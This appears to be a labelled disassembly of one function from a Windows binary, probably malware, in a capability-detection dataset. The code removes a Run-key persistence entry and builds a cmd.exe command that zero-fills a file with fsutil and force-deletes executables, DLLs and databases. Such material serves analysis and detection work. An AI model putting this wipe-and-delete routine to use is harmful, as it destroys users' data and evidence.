Function at 0x4771a0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57cc96
mov eax, dword fs:[0]
push eax
mov eax, 0x11e4
call fcn.00537290
mov eax, dword [0x5f5ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, cl
mov edx, 0x5fdfa8
mov dword [ebp - 0x11d8], 0
xor eax, eax
mov dword [ebp - 0x11d4], 7
mov word [ebp - 0x11e8], ax
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4771f7
sub edx, ecx
lea ecx, [ebp - 0x11e8]
sar edx, 1
push edx
push 0x5fdfa8
call fcn.0044b730
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
mov byte [ebp - 4], 1
test bl, bl
je 0x4772a6
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5fe1b0
lea eax, [ebp - 0x9e8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.bat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044b730
lea ecx, [ebp - 0x9e8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x477290
lea eax, [ebp - 0x9e8]
jmp 0x4773d1
push 0x5fe1b0
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0055a116
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 0x11ec]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x477324
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x11ec]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call ebx
test eax, eax
jne 0x477369
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x5fdfa8
call fcn.00470e00
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5fe1b0
lea eax, [ebp - 0x11b8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.ini_.dll_.bat_.db
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044b730
lea ecx, [ebp - 0x11b8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4773c0
lea eax, [ebp - 0x11b8]
sub ecx, edx
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x11d0]
call fcn.00452f50
push 1
push 0x5e2140
lea ecx, [ebp - 0x11d0]
call fcn.00452f50
cmp dword [ebp - 0x11bc], 8
lea ecx, [ebp - 0x11d0]
push 0x2710
cmovae ecx, dword [ebp - 0x11d0]
xor edx, edx
push 0
call fcn.00475a10
mov edx, dword [ebp - 0x11bc]
add esp, 8
cmp edx, 8
jb 0x477459
mov ecx, dword [ebp - 0x11d0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47744f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4774cc
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov edx, dword [ebp - 0x11d4]
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
cmp edx, 8
jb 0x4774b2
mov ecx, dword [ebp - 0x11e8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4774a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4774d1
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005368a5
mov esp, ebp
pop ebp
ret
call fcn.00552581
call fcn.00552581
int3